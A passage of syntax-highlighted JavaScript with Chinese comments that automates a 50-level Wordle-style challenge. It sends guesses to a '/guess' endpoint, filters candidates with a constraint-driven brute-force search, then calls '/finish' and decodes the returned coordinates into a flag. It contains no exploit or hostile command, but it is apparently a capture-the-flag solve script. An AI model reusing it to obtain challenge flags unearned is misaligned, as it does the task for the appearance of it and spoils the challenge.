punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> results <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token comment">// 先為每個位置算出「候選字母集合」，減少 DFS 分支</span>    <span class="token keyword">let</span> allowedAt <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">5</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>constraints<span class="token punctuation">.</span>exactMatches<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        allowedAt<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token punctuation">[</span>constraints<span class="token punctuation">.</span>exactMatches<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">const</span> allowed <span class="token operator">=</span> letters<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token parameter">ch</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>          <span class="token keyword">if</span> <span class="token punctuation">(</span>constraints<span class="token punctuation">.</span>excludedAt<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span>ch<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>          <span class="token keyword">if</span> <span class="token punctuation">(</span>constraints<span class="token punctuation">.</span>maxCounts<span class="token punctuation">[</span>ch<span class="token punctuation">]</span> <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token comment">// 完全不存在這個字母</span>          <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        allowedAt<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>allowed<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">function</span> <span class="token function">dfs</span><span class="token punctuation">(</span><span class="token parameter">pos<span class="token punctuation">,</span> chars<span class="token punctuation">,</span> counts</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>results<span class="token punctuation">.</span>length <span class="token operator">>=</span> limit<span class="token punctuation">)</span> <span class="token keyword">return</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>pos <span class="token operator">===</span> <span class="token number">5</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> ch <span class="token keyword">in</span> constraints<span class="token punctuation">.</span>minCounts<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>          <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>counts<span class="token punctuation">[</span>ch<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> constraints<span class="token punctuation">.</span>minCounts<span class="token punctuation">[</span>ch<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">return</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        results<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>chars<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">''</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> ch <span class="token keyword">of</span> allowedAt<span class="token punctuation">[</span>pos<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">const</span> newCount <span class="token operator">=</span> <span class="token punctuation">(</span>counts<span class="token punctuation">[</span>ch<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>constraints<span class="token punctuation">.</span>maxCounts<span class="token punctuation">[</span>ch<span class="token punctuation">]</span> <span class="token operator">!==</span> <span class="token keyword">undefined</span> <span class="token operator">&amp;&amp;</span> newCount <span class="token operator">></span> constraints<span class="token punctuation">.</span>maxCounts<span class="token punctuation">[</span>ch<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">continue</span><span class="token punctuation">;</span>        counts<span class="token punctuation">[</span>ch<span class="token punctuation">]</span> <span class="token operator">=</span> newCount<span class="token punctuation">;</span>        chars<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>ch<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">dfs</span><span class="token punctuation">(</span>pos <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">,</span> chars<span class="token punctuation">,</span> counts<span class="token punctuation">)</span><span class="token punctuation">;</span>        chars<span class="token punctuation">.</span><span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        counts<span class="token punctuation">[</span>ch<span class="token punctuation">]</span><span class="token operator">--</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>results<span class="token punctuation">.</span>length <span class="token operator">>=</span> limit<span class="token punctuation">)</span> <span class="token keyword">return</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">dfs</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> results<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// 從候選字中挑一個「資訊量最大」的猜測：優先選擇包含較多不重複字母的字，</span>  <span class="token comment">// 這樣一次猜測能驗證更多不同字母的狀態，加速收斂</span>  <span class="token keyword">function</span> <span class="token function">pickBestGuess</span><span class="token punctuation">(</span><span class="token parameter">candidates</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> best <span class="token operator">=</span> candidates<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> bestScore <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> w <span class="token keyword">of</span> candidates<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">const</span> score <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span>w<span class="token punctuation">)</span><span class="token punctuation">.</span>size<span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>score <span class="token operator">></span> bestScore<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        bestScore <span class="token operator">=</span> score<span class="token punctuation">;</span>        best <span class="token operator">=</span> w<span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> best<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// 保留你原本的字典過濾函式（邏輯相同，改用 matchesConstraints 統一實作，避免重複維護兩套邏輯）</span>  <span class="token keyword">function</span> <span class="token function">filterWordsByConstraints</span><span class="token punctuation">(</span><span class="token parameter">list<span class="token punctuation">,</span> constraints</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> list<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token parameter">w</span> <span class="token operator">=></span> <span class="token function">matchesConstraints</span><span class="token punctuation">(</span>w<span class="token punctuation">,</span> constraints<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">let</span> currentCandidates <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>baseList<span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token keyword">let</span> constraints <span class="token operator">=</span> <span class="token function">createEmptyConstraints</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">let</span> usingFallback <span class="token operator">=</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token comment">// 標記目前是否已經進入「字典外」的窮舉模式</span>  <span class="token keyword">while</span> <span class="token punctuation">(</span>state<span class="token punctuation">.</span>current_word <span class="token operator">&lt;=</span> state<span class="token punctuation">.</span>total_words <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span>state<span class="token punctuation">.</span>done<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">--- 目前進度：第 </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>state<span class="token punctuation">.</span>current_word<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> / </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>state<span class="token punctuation">.</span>total_words<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> 個單字 ---</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>currentCandidates<span class="token punctuation">.</span>length <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>usingFallback<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        console<span class="token punctuation">.</span><span class="token function">warn</span><span class="token punctuation">(</span><span class="token string">"⚠️ 字典候選字已耗盡，切換為「約束式窮舉」模式（不再依賴字典）！"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        usingFallback <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      currentCandidates <span class="token operator">=</span> <span class="token function">bruteForceGenerate</span><span class="token punctuation">(</span>constraints<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">let</span> guessWord <span class="token operator">=</span> <span class="token function">pickBestGuess</span><span class="token punctuation">(</span>currentCandidates<span class="token punctuation">)</span><span class="token punctuation">;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">發送猜測: "</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>guessWord<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">" (當前候選字剩餘: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>currentCandidates<span class="token punctuation">.</span>length<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>usingFallback <span class="token operator">?</span> <span class="token string">'，窮舉模式'</span> <span class="token operator">:</span> <span class="token string">''</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">)</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">try</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">const</span> data <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">apiCall</span><span class="token punctuation">(</span><span class="token string">'/guess'</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span>        <span class="token literal-property property">method</span><span class="token operator">:</span> <span class="token string">'POST'</span><span class="token punctuation">,</span>        <span class="token literal-property property">body</span><span class="token operator">:</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span> <span class="token literal-property property">guess</span><span class="token operator">:</span> guessWord <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token function">syncState</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>data<span class="token punctuation">.</span>reset<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        console<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token string">"致命錯誤：生命值歸零，遊戲已被完整重置！請重新整理頁面再試。"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">break</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>data<span class="token punctuation">.</span>correct<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">const</span> solvedLevel <span class="token operator">=</span> state<span class="token punctuation">.</span>current_word <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span>        console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">🎉 答對了！第 </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>solvedLevel<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> 個字挑戰成功：「</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>guessWord<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">」</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// 記錄每一關的正確答案，供最後 /finish 拿到的 coordinates 解謎用</span>        window<span class="token punctuation">.</span>__solvedWords <span class="token operator">=</span> window<span class="token punctuation">.</span>__solvedWords <span class="token operator">||</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span>        window<span class="token punctuation">.</span>__solvedWords<span class="token punctuation">[</span>solvedLevel<span class="token punctuation">]</span> <span class="token operator">=</span> guessWord<span class="token punctuation">;</span>        <span class="token comment">// 進入下一關：重置字典候選字、約束狀態、fallback 標記</span>        currentCandidates <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>baseList<span class="token punctuation">]</span><span class="token punctuation">;</span>        constraints <span class="token operator">=</span> <span class="token function">createEmptyConstraints</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        usingFallback <span class="token operator">=</span> <span class="token boolean">false</span><span class="token punctuation">;</span>        <span class="token keyword">await</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token parameter">r</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>r<span class="token punctuation">,</span> <span class="token number">300</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">continue</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>data<span class="token punctuation">.</span>wordFailed<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"❌ 達 6 次嘗試極限，扣 1 命！單字不變，繼續收斂剩餘字表（約束狀態不會重置）。"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// 注意：這裡刻意不 reset constraints，因為單字沒變，之前收集到的線索依然有效</span>      <span class="token punctuation">&#125;</span>      <span class="token comment">// 無論目前是字典模式還是窮舉模式，約束狀態永遠疊加更新</span>      <span class="token function">updateConstraints</span><span class="token punctuation">(</span>constraints<span class="token punctuation">,</span> guessWord<span class="token punctuation">,</span> data<span class="token punctuation">.</span>feedback<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>usingFallback<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        currentCandidates <span class="token operator">=</span> <span class="token function">bruteForceGenerate</span><span class="token punctuation">(</span>constraints<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>        currentCandidates <span class="token operator">=</span> <span class="token function">filterWordsByConstraints</span><span class="token punctuation">(</span>currentCandidates<span class="token punctuation">,</span> constraints<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token string">"API 請求出錯:"</span><span class="token punctuation">,</span> err<span class="token punctuation">.</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token comment">// 伺服器字典跟我們本地字典有落差：這個字我們猜了但伺服器根本不收，</span>      <span class="token comment">// 代表這次請求完全沒有消耗掉任何嘗試次數，也沒有拿到任何 feedback，</span>      <span class="token comment">// 唯一該做的就是「以後永遠不要再猜這個字」，避免無限浪費請求。</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>err<span class="token punctuation">.</span>message <span class="token operator">&amp;&amp;</span> err<span class="token punctuation">.</span>message<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span><span class="token string">'not in word list'</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        console<span class="token punctuation">.</span><span class="token function">warn</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">🗑️ 伺服器判定 "</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>guessWord<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">" 不在字典內，永久剔除（本關 + 全域字庫）。</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// 從本關候選字移除</span>        currentCandidates <span class="token operator">=</span> currentCandidates<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token parameter">w</span> <span class="token operator">=></span> w <span class="token operator">!==</span> guessWord<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// 從全域 baseList 移除，避免下一關重置候選字時又把它撿回來</span>        <span class="token keyword">const</span> idx <span class="token operator">=</span> baseList<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span>guessWord<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>idx <span class="token operator">!==</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span> baseList<span class="token punctuation">.</span><span class="token function">splice</span><span class="token punctuation">(</span>idx<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// 不需要 sleep，因為這不是真的網路/伺服器錯誤，重試不會有幫助也不會有害，直接進下一輪即可</span>        <span class="token keyword">continue</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token comment">// 其他未知錯誤（網路問題、伺服器 500 等）才用原本的保守重試策略</span>      currentCandidates<span class="token punctuation">.</span><span class="token function">shift</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">await</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token parameter">r</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>r<span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>state<span class="token punctuation">.</span>done<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"🏆 50 關全數通關！正在索取 Flag..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">try</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">const</span> finalData <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">apiCall</span><span class="token punctuation">(</span><span class="token string">'/finish'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"恭喜獲取最終通關數據："</span><span class="token punctuation">,</span> finalData<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>finalData<span class="token punctuation">.</span>coordinates<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">decodeCoordinates</span><span class="token punctuation">(</span>finalData<span class="token punctuation">.</span>coordinates<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>e<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token string">"獲取最終 Flag 失敗："</span><span class="token punctuation">,</span> e<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token comment">// ============================================================</span><span class="token comment">// 解謎輔助函式：假設 coordinates 每組三位數 = 「前兩碼:關卡編號(01~50)」</span><span class="token comment">// + 「末碼:該關答案內第幾個字母(1~5)」，依序取出字母組成 flag。</span><span class="token comment">// 若拼出來不像 flag，會同時印出其他可能的拆法，方便手動比對。</span><span class="token comment">// ============================================================</span><span class="token keyword">function</span> <span class="token function">decodeCoordinates</span><span class="token punctuation">(</span><span class="token parameter">coordString</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> solved <span class="token operator">=</span> window<span class="token punctuation">.</span>__solvedWords <span class="token operator">||</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span>  <span class="token keyword">const</span> parts <span class="token operator">=</span> coordString<span class="token punctuation">.</span><span class="token function">trim</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\s+</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"=== 嘗試解碼 coordinates（假設：前兩碼=關卡編號, 末碼=字母位置） ==="</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">let</span> result <span class="token operator">=</span> <span class="token string">''</span><span class="token punctuation">;</span>  <span class="token keyword">let</span> ok <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> p <span class="token keyword">of</span> parts<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>p<span class="token punctuation">.</span>length <span class="token operator">!==</span> <span class="token number">3</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> ok <span class="token operator">=</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span>    <span class="token keyword">const</span> level <span class="token operator">=</span> <span class="token function">parseInt</span><span class="token punctuation">(</span>p<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> pos <span class="token operator">=</span> <span class="token function">parseInt</span><span class="token punctuation">(</span>p<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> word <span class="token operator">=</span> solved<span class="token punctuation">[</span>level<span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>word <span class="token operator">||</span> pos <span class="token operator">&lt;</span> <span class="token number">1</span> <span class="token operator">||</span> pos <span class="token operator">></span> <span class="token number">5</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">warn</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">⚠️ 無法解析 "</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>p<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">"：level=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>level<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> pos=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>pos<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> word=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>word <span class="token operator">||</span> <span class="token string">'（未記錄，可能是尚未通關或編號從0開始）'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>      ok <span class="token operator">=</span> <span class="token boolean">false</span><span class="token punctuation">;</span>      <span class="token keyword">continue</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    result <span class="token operator">+=</span> word<span class="token punctuation">[</span>pos <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>ok<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">解碼結果: "</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>result<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">"</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token function">autoSolve</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></s